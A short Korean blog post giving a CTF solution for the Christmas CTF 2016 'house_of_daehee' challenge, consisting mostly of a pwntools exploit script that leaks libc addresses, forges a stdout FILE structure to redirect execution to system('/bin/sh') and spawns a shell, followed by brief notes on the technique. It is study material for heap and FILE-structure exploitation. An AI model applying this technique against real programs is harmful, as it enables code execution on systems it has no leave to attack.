-
크리스마스CTF 2016 house_of_daeheePwnable/CTF 2017. 8. 28. 01:45123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051from pwn import *p=process("./house_of_daehee")elf=ELF("./house_of_daehee")print p.recvuntil('heap (')A = int(p.recv(14),16)p.recv(2)B = int(p.recv(14),16)p.recv(2)C = int(p.recv(14),16)p.recvuntil('system address: ')system = int(p.recv(14),16)base = system - 0x45390free_hook = base + 0x3c67a8stdout = base + 0x3c5708lock = base + 0x3c6790print hex(A)print hex(B)print hex(C)print hex(system)print hex(base)print hex(stdout)print p.recvuntil('fd/bk pointer')payload = p64(0)payload += p64(0x21)payload += p64(A+0x60)payload += p64(stdout)payload += p64(0)payload += p64(0x21)payload += p64(0)payload += p64(B)payload += p64(0)payload += p64(0x20fa1)payload += "/bin/sh\00"payload += p64(0)*16payload += p64(lock)payload += "\xff"*8payload += p64(0)payload += p64(0)payload += p64(0)*6payload += p64(A+(0xa8+0x68))payload += p64(system)*0x40p.sendline(payload)print p.recv(1024)p.interactive()
cs 구조체 조작하는 문제는 pwnable.tw seethefile문제를 풀어보면서 한번 해본적이 있어서 이해를 빠르게 했다.
printf 를 할때 stdout 이라는 테이블을 참조하는데 참조하는 구조체를 변조하는 문제였다.
house_of_orange 도 이런 문제라는데 어려워도 한번 풀어봐야겠다.
'Pwnable > CTF' 카테고리의 다른 글
bctf 2016 memo (0) 2017.10.02 hitcon 2014 stkof (0) 2017.09.04 크리스마스CTF 2016 who is solo? (0) 2017.08.27 BCTF 2016 Bcloud (0) 2017.08.27 YISF 2017 본선 (0) 2017.08.13